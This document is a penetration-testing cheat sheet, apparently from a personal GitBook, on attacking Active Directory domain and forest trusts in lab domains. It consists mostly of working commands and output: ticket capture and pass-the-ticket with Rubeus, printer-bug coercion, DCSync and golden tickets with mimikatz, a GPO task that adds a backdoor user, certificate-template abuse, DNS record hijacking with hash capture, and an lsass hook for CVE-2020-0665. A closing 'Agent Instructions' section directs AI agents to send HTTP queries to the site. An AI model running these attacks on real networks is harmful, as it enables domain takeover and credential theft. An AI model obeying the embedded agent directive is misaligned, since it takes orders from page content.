# Trust Enumeration and Attacks

## Cross Forest Attacks Concepts

## Enumeration

```powershell
#Powershell Cmdlet
PS C:\htb> Import-Module activedirectory
PS C:\htb> Get-ADTrust -Filter *

#Powerview
PS C:\htb> Get-DomainTrust
PS C:\htb>  Get-DomainTrustMapping
```

## Automatic tools

{% embed url="<https://github.com/lkarlslund/Adalanche>" %}

{% embed url="<https://github.com/SpecterOps/BloodHound-Legacy>" %}

```powershell
#Bloodhound
PS C:\htb> .\SharpHound.exe -c All --zipfilename Megacorp

#Adalanche
PS C:\Tools> .\Adalanche.exe collect activedirectory --domain inlanefreight.local
PS C:\Tools> .\Adalanche.exe collect activedirectory --domain logistics.local
PS C:\Tools> .\Adalanche.exe analyze
```

## Intra Forest Attacks

### Unconstrained Delegation (Printer Bug - Child to Parent)

```powershell
#Monitor to capture TGT's
PS C:\Tools> .\Rubeus.exe monitor /interval:5 /nowrap

#Abuse Printer Bug
PS C:\Tools> .\SpoolSample.exe parent.domain.local child.domain.local
```

**Example output:**

{% code overflow="wrap" %}

```powershell
PS C:\Tools> .\Rubeus.exe monitor /interval:5 /nowrap
[*] 1/29/2025 12:47:13 AM UTC - Found new TGT:

  User                  :  DC01$@INLANEFREIGHT.AD
  StartTime             :  1/28/2025 6:40:22 PM
  EndTime               :  1/29/2025 4:40:22 AM
  RenewTill             :  2/4/2025 6:40:22 PM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

<SNIF>doIFvDCCBbMjJaqBIbEElOTEFORUZSRUlHSFQuQUSpJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEElOTEFORUZSRUlHSFQuQUQ=
```

{% endcode %}

```powershell
# Create sacrifical process + Pass the ticket
PS C:\Tools> .\Rubeus.exe createnetonly /program:powershell.exe /show
PS C:\Tools> .\Rubeus.exe renew /ticket:<ticket> /ptt

#DCSync
PS C:\Tools>mimikatz.exe privilege::debug "lsadump::dcsync /dc:dc01.inlanefreight.ad /domain:inlanefreight.ad /all" exit
```

### Configuration Naming Context (NC)

Configuration Naming Context (NC) replication abuse is a malicious strategy in which attackers take advantage of the replication process within the Configuration Naming Context of Active Directory. This exploitation allows them to disseminate unauthorized modifications or configurations throughout the domain infrastructure.&#x20;

An attacker may exploit this vulnerability to conduct a range of attacks, including those targeting Active Directory Certificate Services (ADCS), manipulating Group Policy Objects (GPOs) at the site level, altering DNS entries, or executing GoldenGMSA (Group Managed Service Account) attacks. Such actions can result in unauthorized access, privilege escalation, or other detrimental activities within the parent domain originating from a child domain.

<pre class="language-powershell"><code class="lang-powershell"><strong>#Enumerate ACL's for WRITE access on Configuration Naming Context
</strong>PS C:\Users\Administrator> $dn = "CN=Configuration,DC=INLANEFREIGHT,DC=AD"
PS C:\Users\Administrator> $acl = Get-Acl -Path "AD:\$dn"
PS C:\Users\Administrator> $acl.Access | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|Write" }
</code></pre>

### Abusing ADCS - Make Template vulnerable to ESC1 to privilege escalation (Child -> Parent)

***

The `Certificate Templates` container stores templates as `pKICertificateTemplate` objects that can be published to an ADCS CA.&#x20;

The `Enrollment Services` container contains one pKIEnrollmentService object per CA. These objects enumerate the templates that have been `published` to the CA through their `certificateTemplates` property.

**Simplification of ADCS Attack:**

1. Add a new vulnerable `Certificate Template` inside the `Certificate Templates` container as a `pKICertificateTemplate` object.
2. Give the `Administrator` user of the child domain `Full Control` rights over the created Certificate Template.
3. Publish the created template to the CA server by modifying the `pKIEnrollmentService` object of the CA inside the `Enrollment Services` container.
4. After the Configuration NC is replicated back to the parent domain, request the certificate for `root\Administrator` from the child domain.

```powershell
#Use Psexec to Open MMC as a SYSTEM user
PS C:\Tools\> .\PsExec -s -i powershell
PS C:\Windows\system32> mmc
```

#### Create a new Console on mmc and add Certificate Template

<figure><img src="/files/1xMjTt76MChwFMomnOyG" alt=""><figcaption></figcaption></figure>

1. Go to File > Add/Remove Snap-in
2. Select Certificate Templates
3. Add it.
4. Save Changes

#### Make Template Vulnerable to ESC1

1. Right-click on the `User` template.
2. Select `Duplicate Template`. This action will open a prompt with the properties of the new template.
3. Set the `Subject Name` option to `Supply in the request`. This configuration allows for dynamic specification of the subject name during the certificate request process, potentially introducing the ESC1 vulnerability.

#### Grants Full control to SYSTEM

```powershell
 PS C:\Windows\system32> adsiedit.msc
```

<figure><img src="/files/sjFKQwms1BhutIrbB6Ip" alt=""><figcaption></figcaption></figure>

1. Right click on Public Key Services&#x20;
2. Go to Properties > Security
3. Go to Advance
4. Select System and grants Full control and  `This object and all descendant objects`.
5. Apply

#### Add the malicious template to PKIEnrollmentService&#x20;

<figure><img src="/files/gmbrWfUFBUNncGPg091w" alt=""><figcaption></figcaption></figure>

1. Go to Enrollment Services
2. Right click on  PkiEnrollmentService > Properties&#x20;
3. Select certificate Templates and add the template.
4. Apply the changes.

**Check ADCS ESC1**

{% content-ref url="/pages/PwRgQap27YGyQK8lZ5dw" %}
[Active Directory Certificate Services](/intrusionz3r0/windows-penetration-testing/active-directory-certificate-services.md)
{% endcontent-ref %}

### GPO On Site Attack Across Trust (Child -> Parent)

**Powerview Older Version**

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/26a0757612e5654b4f792b012ab8f10f95d391c9/Recon/PowerView.ps1>" %}

```powershell
PS C:\Tools> $gpo = "Backdoor"
PS C:\Tools> New-GPO $gpo
PS C:\Tools> Import-Module .\PowerView_2.ps1
PS C:\Tools> New-GPOImmediateTask -Verbose -Force -TaskName 'Backdoor' -GPODisplayName "Backdoor" -Command C:\Windows\System32\cmd.exe -CommandArguments "/c net user backdoor B@ckdoor123 /add"
```

{% hint style="info" %}
Don't Forget to adjust the Scheduled Task Settings from `Do not start a new instance` to `Run a new instance in parallel`.
{% endhint %}

<figure><img src="/files/atZNuLVXFOMCf042PJ1t" alt=""><figcaption></figcaption></figure>

```powershell
#Retrieving the Replication Site of the Root Domain Controller
PS C:\Tools> Get-ADDomainController -Server inlanefreight.ad |Select ServerObjectDN

#Linking the GPO to the Default Site as SYSTEM
PS C:\Tools> .\PsExec.exe -s -i powershell.exe
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> $sitePath = "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=INLANEFREIGHT,DC=AD"
PS C:\Windows\system32> New-GPLink -Name "Backdoor" -Target $sitePath -Server dev.inlanefreight.ad

#Request TGT
PS C:\Tools> .\Rubeus.exe asktgt /user:backdoor /password:'B@ckdoor123' /domain:inlanefreight.ad /ptt
```

### GoldenGMSA Attack Across Trust (Child -> Parent)

{% hint style="info" %}
&#x20;KDS key attributes in the forest root is restricted to entities with the appropriate rights, such as `ROOT\Enterprise Admins`, `ROOT\Domain Admins`, and `NT AUTHORITY\SYSTEM`.
{% endhint %}

**Access:** Configuration > Services > Group Key Distribution Service > Master Root Keys

```powershell
# Create GMSA
PS C:\Users\Administrator> New-ADServiceAccount -Name "apache-dev" -DNSHostName "inlanefreight.ad" -PrincipalsAllowedToRetrieveManagedPassword htb-student-1 -Enabled $True
```

#### Performing the Online Attack (Online Computation)

```powershell
#Open a terminal as System
C:\Tools\> .\PsExec -s -i powershell

#Retrieving msds-ManagedPasswordID
PS C:\Tools> .\GoldenGMSA.exe gmsainfo --domain domain.example

#Retrieving GMSA Password
PS C:\Tools> .\GoldenGMSA.exe compute --sid "S-1-5-21-2879935145-656083549-3766571964-1106" --forest dev.inlanefreight.ad --domain inlanefreight.ad

```

#### Performing the Offline Attack (Offline Computation)

```powershell
#Open a terminal as System
C:\Tools\> .\PsExec -s -i powershell

#Retrieving msds-ManagedPasswordID
PS C:\Tools> .\GoldenGMSA.exe gmsainfo --domain inlanefreight.ad

#Retrieving kdsinfo
PS C:\Tools> .\GoldenGMSA.exe kdsinfo --forest dev.inlanefreight.ad

#Computing the gMSA Password Manually
PS C:\Tools> .\GoldenGMSA.exe compute --sid <SID> --kdskey <blob> --pwdid <blob>


```

**Convert to NT Hash**

Tool: [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Base64\('A-Za-z0-9%2B/%3D',true,false\)MD4\(\)\&input=IDNCZUd2K0MvbFhKOTdLSWdjd3dQa2MwenFTYTJaQlQwclZ1a0IxSXRHQUVpUXlZVVcwWGRtTmtueFJHM0hjM1picVcxVnZUZ0dmekVTakUyeUdacldyU2ZWMzRnaFNrcW45R0Z6bWZpaW9vZ3YrQlRQemRCU2RtazZMZEZ0OVUrak1nTDI2N3g1UTl4c0cvLzVZWkZObkNEQlhJbVppK25XUGlNT0MydndtaENCdmo2MHgrNGs3TjdocFVBbEdVcGhJZHZVNm5FK3FqbGpkUHRLUmpaV0dBakQxVWJDOHpMOXBzZ0tlc3J0bVI2aFFuNm1DWi9UTEt3bnVRblNQWlJSMk8rZXFIc2NvdDNBUlZKa2hKREZXL1g3Q3M2NjB2aFpRb2dPMTZsSURGR0I4ZURhR3pneHZFVUZzVEljYTFvSkZKQnhnYXJGU2N5cGQwTnUxQndyQT09\&oeol=NEL)

```python
from Crypto.Hash import MD4
import base64

base64_input  = "<blob>"

print(MD4.new(base64.b64decode(base64_input)).hexdigest())

```

### DNS Wildcard Injection

Attackers can exploit wildcard records to redirect or manipulate network traffic by creating malicious DNS entries that match the wildcard pattern. This can lead to unauthorized access, phishing attacks, or the interception of sensitive information.

```powershell
#Resolve DNS name
PS C:\Tools> Resolve-DNSName TEST2.inlanefreight.ad

#Adding Wildcard DNS record
C:\Tools\> .\PsExec -s -i powershell
PS C:\Tools> Import-module .\Powermad.ps1
PS C:\Tools> New-ADIDNSNode -Node * -domainController DC01.inlanefreight.ad -Domain inlanefreight.ad -Zone inlanefreight.ad -Tombstone -Verbose
```

### Arbitrary DNS Record Modification from Child Domain

It is also possible to modify the IP address associated with an already `existing` DNS record in the parent domain from within the child domain.

```powershell
#Enumerate DNS Records Parent Domain
PS C:\Tools> Get-DnsServerResourceRecord -ComputerName DC01.inlanefreight.ad -ZoneName inlanefreight.ad -Name "@"

#Enumerate DNS Records for specific Server
PS C:\Tools> Resolve-DnsName -Name example.inlanefreight.ad -Server DC01.INLANEFREIGHT.AD

#Open Terminal as NT SYSTEM
PS C:\Tools\> .\PsExec -s -i powershell

#Modifying DNS Records to point to child domain ip
PS C:\Tools> $Old = Get-DnsServerResourceRecord -ComputerName DC01.INLANEFREIGHT.AD -ZoneName inlanefreight.ad -Name DEV01
PS C:\Tools> $New = $Old.Clone()
PS C:\Tools> $TTL = [System.TimeSpan]::FromSeconds(1)
PS C:\Tools> $New.TimeToLive = $TTL
PS C:\Tools> $New.RecordData.IPv4Address = [System.Net.IPAddress]::parse('172.16.210.3')
PS C:\Tools> Set-DnsServerResourceRecord -NewInputObject $New -OldInputObject $Old -ComputerName DC01.INLANEFREIGHT.AD -ZoneName inlanefreight.ad
PS C:\Tools> Get-DnsServerResourceRecord -ComputerName DC01.inlanefreight.ad -ZoneName inlanefreight.ad -Name "@"

#Start Inveigh for Hash Interception
PS C:\Tools> Import-Module .\Inveigh.ps1
PS C:\Tools> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y -SMB Y

#Lateral Movement by using Rubeus
PS C:\Tools> .\Rubeus.exe asktgt /user:buster /domain:inlanefreight.ad /password:<SNIP> /ptt
```

To crack NTLMv2 Go to:

{% content-ref url="/pages/5jcRM4n13txzQ3Wb2Lsr" %}
[Password Attacks](/intrusionz3r0/password-attacks.md)
{% endcontent-ref %}

### Kerberoasting cross forest

```powershell
#Kerberoasting
PS C:\Tools> .\Rubeus.exe kerberoast /domain:logistics.ad /nowrap
```

### Asreproasting cross forest

```powershell
#Asreproasting
PS C:\Tools> .\Rubeus.exe asreproast /domain:logistics.ad /nowrap
```

## Cross Forest Attacks

### Trust Account Attack

```powershell
#Perform the attack
PS C:\Tools> .\mimikatz.exe privilege::debug "lsadump::trust /patch" exit

#Request TGT
PS C:\Tools> .\Rubeus.exe asktgt /user:logistics$ /domain:megacorp.ad /rc4:68e456d3a95cc748ac5a2eae679b9c91 /ptt
```

### Unconstrained Delegation Cross Forest (DomainA > DomainB)

Requirements for exploitation to be possible in a Cross-Forest environment

* &#x20;TGT Delegation must be allowed in the trust (without 2019 updates or enabled manually).
* Selective authentication must not be enabled, which would prevent automatic authentication between forests.&#x20;
* A two-way trust must exist between forests.&#x20;

Authentication levels in Cross-Forest Trusts&#x20;

**Forest-wide authentication →** Allows unrestricted access between forests (less secure).&#x20;

**Domain-wide authentication** → Restricts access to only users in a specific domain.&#x20;

**Selective authentication** → Requires specific permissions for each user (more secure).

If a domain controller (DC) in `Forest-A` which has unconstrained delegation enabled by `default` is compromised, we could potentially extract the Ticket Granting Ticket (TGT) of an Administrator from the domain controller in `Forest-B` who subsequently logs into DC of `Forest-A`. With this TGT, we gain the ability to compromise the `Forest-B`.

Alternatively, if no `user` or `Administrator` logs into the domain controller (DC) in Forest-A from Forest-B, we can exploit the `Printer bug` to force an authentication attempt from the DC in `Forest-B` to the DC in `Forest-A`. This forced authentication allows us to intercept the TGT of the machine account of `Forest-B` DC (DC02$). Subsequently, we can leverage this TGT to execute a DCSync attack, allowing us to escalate privileges and further compromise the network

```
#Monitor to capture TGT's
PS C:\Tools> .\Rubeus.exe monitor /interval:5 /nowrap

#Abuse Printer Bug
PS C:\Tools> .\SpoolSample.exe dc01.domain.local dc02.domain.local
```

### SID History Injection Attack

SID History Injection Attack, commonly referred to as SID Hijacking, is a method employed to escalate privileges by taking advantage of the SID (Security Identifier) history attribute found in Active Directory user accounts. When a user account is transferred from one domain to another within a different forest, the SID history attribute retains the SIDs from the original domain.

An attacker can exploit this functionality by injecting the SID of a user or group with elevated privileges from the target domain into a low-privileged user account in the source domain. This action enables the low-privileged account to inherit the access rights and privileges linked to the injected SID. Consequently, the attacker can elevate their privileges and gain unauthorized access to resources or execute actions within the target domain as if they were part of the highly privileged group or user.

#### **Case #1  High Privileged Migrated User**

1. SID history Enabled
2. The User in DomainA belongs to Powerfull group
3. The user has been migrated from DomainA to DomainB

We compromised the Domain B as Administrator and  we start to enumerate.

```powershell
#Enumerate user with SID History Enabled
PS C:\Tools>  Get-ADUser -Filter "SIDHistory -Like '*'" -Properties SIDHistory

#Change Password
PS C:\Tools net user targetuser target

```

In this point we can move to the target user either kerberos or any type of authentication

```powershell
#Request TGT
PS C:\Tools> ./Rubeus createnetonly /program:powershell.exe /show
PS C:\Tools> .\Rubeus.exe asktgt /user:sentinal /password:sentinal /domain:inlanefreight.ad /ptt

#Get Access to DomainA
PS C:\Tools> Enter-PSSession DC.domainA.local
```

#### Case-2: Low Privileged Migrated User

In scenarios where migrated users do not possess substantial privileges in their previous domain or no users are migrated, it's advisable to verify if `SID History` is still enabled on the domain.

{% hint style="info" %}
To identify a forest where `SID History` is enabled, we can check for the presence of the value `TREAT_AS_EXTERNAL` in the `TrustAttributes` attribute. If this value is present, it indicates that `SID History` is enabled for the forest.
{% endhint %}

```powershell
#Enumerate SID History
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainTrust -domain logistics.ad


#Retrieve only TrustAttributes for Domain
Get-DomainTrust -domain target.domain | Where-Object {$_.TargetName -eq "current.domain"} | Select TrustAttributes
```

With the presense of TREAT\_AS\_EXTERNAL an Extrasids attack becomes possible.  This attack involves injecting the SID of a highly privileged group or user from the `targetdomain` domain into any user object in the `currentdomain` domain.&#x20;

**Mision**: Run bloodhound against target domain and look for high privilege group to be able to inject its SID into current user domain

To perform this attack, we need the following:

* The KRBTGT hash for the current domain (Inlanefreight)
* The SID for the current domain
* The name of a target user in the current domain (Any domain user)
* The FQDN of the current domain.
* The SID of the high privileged group of the target domain (Infrastructure group)

```powershell
#Rubeus
PS C:\Tools> .\Rubeus.exe golden /rc4:119885a9af438d1ef0d7543bed8b9ea1 /sid:S-1-5-21-2432454459-173448545-3375717855 /user:Intrusionz3r0 /sids:S-1-5-21-186204973-2882451676-2899969076-2602 /domain:inlanefreight.ad /ptt

#mimikatz:
PS C:\Tools> .\mimikatz.exe privilege::debug "kerberos::golden /krbtgt:119885a9af438d1ef0d7543bed8b9ea1 /domain:inlanefreight.ad /sid:S-1-5-21-2432454459-173448545-3375717855 /user:Intrusionz3r0 /sids:S-1-5-21-186204973-2882451676-2899969076-2602 /ptt" exit
```

### SID Filter Bypass (CVE-2020-0665)

This vulnerability leverages the intended feature of a `Transitive Trust`, allowing an attacker to compromise any host or workstation within a trusted forest that has a Two-way Transitive Trust relationship established with the Trusting forest.

{% embed url="<https://github.com/dirkjanm/forest-trust-tools>" %}

#### **Be on the Trusting Forest**

1. Fake a new domain in forest A that has the same SID as the local domain on a server in forest B.
2. Wait for forest B to pick up the new SID and add it to the allowed SIDs.
3. Create an inter-realm ticket that includes the SID of the local administrator account of the server in forest B, and give this to the DC in forest B.
4. See if forest B gives us a ticket that includes the SID of the server in forest B
5. Connect to the server in forest B with our service ticket having administrative permissions.

#### **Attack Requirements for CVE-2020-0665**

1. DC01 and DC02 must have a Two-way Transitive Trust
2. DC01 must have a Child Domain (subdomain)
3. DC02 has at least one domain joined member server or workstation

To perform this attack after compromising the `Inlanefreight` domain, we need to collect the following:

| Collect                                                | Value                                                            | Tool                      |
| ------------------------------------------------------ | ---------------------------------------------------------------- | ------------------------- |
| Local SID of the victim server (SQL02.logistics.ad)    | S-1-5-21-2327345182-1863223493-3435513819                        | getlocalsid.py            |
| Child Domain SID for `child.inlanefreight.ad`          | S-1-5-21-3878752286-62540090-653003637                           | lookupsid.py              |
| Domain SID for `inlanefreight.ad`                      | S-1-5-21-2432454459-173448545-3375717855                         | lookupsid.py              |
| Inter-realm tickets with RC4 hash (for `logistics.ad`) | c586031a224f252a7c8a31a6d2210cc1                                 | Get-ADObject and mimikatz |
| Inter-realm tickets with AES keys (for `logistics.ad`) | 179e4ae68e627e1fd4014c87854e7f60b0c807eddbcaf6136ddf9d15a6d87ad8 | Get-ADObject and mimikatz |

```sh
#Get Local SID Victic Server
Intrusionz3r0@htb[/htb]$ proxychains python getlocalsid.py inlanefreight.ad/Administrator@SQL02.logistics.ad SQL02

#Retrieve Domain SID for child.inlanefreight.ad
Intrusionz3r0@htb[/htb]$ proxychains lookupsid.py inlanefreight.ad/Administrator:'HTB_@cademy_adm!'@172.16.118.20 | grep "Domain SID"
#Retrieve Domain SID for inlanefreight.ad
Intrusionz3r0@htb[/htb]$ proxychains lookupsid.py inlanefreight.ad/Administrator:'HTB_@cademy_adm!'@172.16.118.3 | grep "Domain SID"'
```

```powershell
#Enumerate GUID for logistics.ad
PS C:\Users\Administrator> Get-ADObject -LDAPFilter '(objectClass=trustedDomain)' | select name,objectguid
name                   objectguid
----                   ----------
logistics.ad           8d52f9da-361b-4dc3-8fa7-af5f282fa741
child.inlanefreight.ad 44591edf-66d2-4d8c-8125-facb7fb3c643


#Retrieve the Inter-real tickets
PS C:\Tools> .\mimikatz.exe "lsadump::dcsync /guid:{8d52f9da-361b-4dc3-8fa7-af5f282fa741}" exit
```

#### Next step is convert the SID to binary

```python
input_string = input('\nSID: ')
prefix = 'S-1-5-21-'

# Split the input string after the constant prefix
components = input_string.split(prefix, 1)
if len(components) > 1:
    remaining_string = components[1]
    split_values = remaining_string.split('-')
    output_list = []
    for i in split_values:
        decimal_number = int(i)
        hexadecimal_value = hex(decimal_number)[2:].zfill(8)
        little = ' '.join([hexadecimal_value[i:i+2] for i in range(len(hexadecimal_value)-2, -2, -2)])
        bytes_list = little.split()
        formatted_bytes = ', '.join([f"0x{byte.upper()}" for byte in bytes_list]) 
        output_list.append(formatted_bytes)
    final_output = ', '.join(output_list)
    print("0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, " + final_output)
```

```sh
#SQL02.logistics.ad
Intrusionz3r0@htb[/htb]$ python3 SIDtoBinary.py

Insert the SID: S-1-5-21-2327345182-1863223493-3435513819
0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0x1E, 0x78, 0xB8, 0x8A, 0xC5, 0x88, 0x0E, 0x6F, 0xDB, 0xC7, 0xC5, 0xCC

#child.inlanefreight.ad
Intrusionz3r0@htb[/htb]$ python3 SIDtoBinary.py

Insert the SID: S-1-5-21-3878752286-62540090-653003637
0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0x1E, 0x10, 0x31, 0xE7, 0x3A, 0x49, 0xBA, 0x03, 0x75, 0x0B, 0xEC, 0x26
```

#### **Updating SID Values in frida\_intercept.py**

```sql
<SNIP>
// Sid as binary array to find/replace
var buf1 = [0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0x1E, 0x10, 0x31, 0xE7, 0x3A, 0x49, 0xBA, 0x03, 0x75, 0x0B, 0xEC, 0x26];
var newsid = [0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0x1E, 0x78, 0xB8, 0x8A, 0xC5, 0x88, 0x0E, 0x6F, 0xDB, 0xC7, 0xC5, 0xCC];
<SNIP>
```

#### **Before to modify**

```sh
#Verify Original SID of Child DC
Intrusionz3r0@htb[/htb]$ python3 gettrustinfo.py <domain-dc01>/<domain-dc02>@<hostname-DC01> -hashes :<rc4-inter-realm-DC02> -target <dc-ip-dc01>
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

<SNIP>
                DomainInfo:                     
                    Sid:                            
                        Revision:                        1 
                        SubAuthorityCount:               4 
                        IdentifierAuthority:             b'\x00\x00\x00\x00\x00\x05' 
                        SubAuthority:                   
                            [
                                 21,
                                 3878752286,
                                 62540090,   #<-------Now it has the SID child.domain
                                 653003637,
                            ] 
                    DnsName:                         'child.inlanefreight.ad' 
                    NetbiosName:                     'CHILD' ,
        ] 
```

#### Run the attack

```powershell
#Update as NT System
PS C:\Tools> .\PsExec.exe -s -i powershell.exe
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Tools> python frida_intercept.py lsass.exe
```

#### **After modification**

```sh
Intrusionz3r0@htb[/htb]$ python3 gettrustinfo.py inlanefreight.ad/logistics.ad@DC01 -hashes :c586031a224f252a7c8a31a6d2210cc1 -target 172.16.118.3 2>/dev/null

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] StringBinding ncacn_ip_tcp:172.16.118.3[49671]
NetrGetForestTrustInformationResponse 
ReturnAuthenticator:            
    Credential:                     
        Data:                            b'\xc9\xe1\x18z\x92\x8ew ' 
    Timestamp:                       0 
ForestTrustInfo:                
    RecordCount:                     3 
    Entries:                        
        [
             
            Flags:                           0 
            ForestTrustType:                 ForestTrustTopLevelName 
            Time:                            0 
            ForestTrustData:                
                tag:                             0 
                TopLevelName:                    'inlanefreight.ad' ,
             
            Flags:                           0 
            ForestTrustType:                 ForestTrustDomainInfo 
            Time:                            0 
            ForestTrustData:                
                tag:                             2 
                DomainInfo:                     
                    Sid:                            
                        Revision:                        1 
                        SubAuthorityCount:               4 
                        IdentifierAuthority:             b'\x00\x00\x00\x00\x00\x05' 
                        SubAuthority:                   
                            [
                                 21,
                                 2432454459,
                                 173448545,
                                 3375717855,
                            ] 
                    DnsName:                         'inlanefreight.ad' 
                    NetbiosName:                     'INLANEFREIGHT' ,
             
            Flags:                           0 
            ForestTrustType:                 ForestTrustDomainInfo 
            Time:                            0 
            ForestTrustData:                
                tag:                             2 
                DomainInfo:                     
                    Sid:                            
                        Revision:                        1 
                        SubAuthorityCount:               4 
                        IdentifierAuthority:             b'\x00\x00\x00\x00\x00\x05' 
                        SubAuthority:                   
                            [
                                 21,
                                 2327345182,
                                 1863223493, #<--------- If you see the Local SID of the victim server (works!)
                                 3435513819,
                            ] 
                    DnsName:                         'child.inlanefreight.ad' 
                    NetbiosName:                     'CHILD' ,
        ] 
ErrorCode:                       0 
```

#### Create Golden ticket:

* LocalSID of victim server (SQL02.logistics.ad) - `S-1-5-21-2327345182-1863223493-3435513819`
* Child Domain SID for `child.inlanefreight.ad` - `S-1-5-21-3878752286-62540090-653003637`
* Domain SID for `inlanefreight.ad` - `S-1-5-21-2432454459-173448545-3375717855`
* Inter-realm tickets with RC4 hash (For Logistics.ad) - `c586031a224f252a7c8a31a6d2210cc1`
* Inter-realm tickets with AES keys (For Logistics.ad) - `179e4ae68e627e1fd4014c87854e7f60b0c807eddbcaf6136ddf9d15a6d87ad8`

```powershell
#Request Golden Ticket with Extrasids
PS C:\Tools> .\mimikatz.exe privilege::debug "kerberos::golden /domain:<domain-dc01> /sid:<sid-domain-dc01> /user:user1 /target:<domain-dc02target> /service:krbtgt /sids:<LocalSID-Victimserver>-500 /aes256:<Inter-realm-AES-DC02>" exit
#Retrieve TGS for SQL02
PS C:\Tools> .\kekeo.exe
    kekeo # tgs::ask /tgt:ticket.kirbi /service:cifs/SQL02.logistics.ad@LOGISTICS.AD /kdc:DC02.logistics.ad /ptt
```

### Abusing SQL Server Links and Trustworthy Databases

{% content-ref url="/pages/pveRsSUsafoSAoD3hcMO" %}
[\[1433\] MSSQL](/intrusionz3r0/enumeration/1433-mssql.md)
{% endcontent-ref %}

### Abusing PAM Trusts

```powershell
#Enumerate Shadows Principals
PS C:\Tools> Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
```

**Creating Shadow Principals in Bastion forest**

If No Shadow Principals Exist you can create one:

```powershell
# Get the SID for the Enterprise Admins group of the user forest
$ShadowPrincipalSid = (Get-ADGroup -Identity 'Enterprise Admins' -Properties ObjectSID -Server eulogistics.corp).ObjectSID

# Container location
$Container = 'CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=controlcenter,DC=corp'

# Create the Shadow principal
New-ADObject -Type msDS-ShadowPrincipal -Name "Tom" -Path $Container -OtherAttributes @{'msDS-ShadowPrincipalSid'= $ShadowPrincipalSid}

# We can add a user from bastion forest to an existing bastion forest's shadow security principal container named Tom
Set-ADObject -Identity "CN=Tom,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=controlcenter,DC=corp" -Add @{'member'="CN=Administrator,CN=Users,DC=controlcenter,DC=corp"} -Verbose
```

Access the resources

```powershell
PS C:\Tools> whoami;hostname
controlcenter\administrator
DC01
PS C:\Tools> ls \\DC-EU.eulogistics.corp\c$
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://intrusionz3r0.gitbook.io/intrusionz3r0/windows-penetration-testing/trust-enumeration-and-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
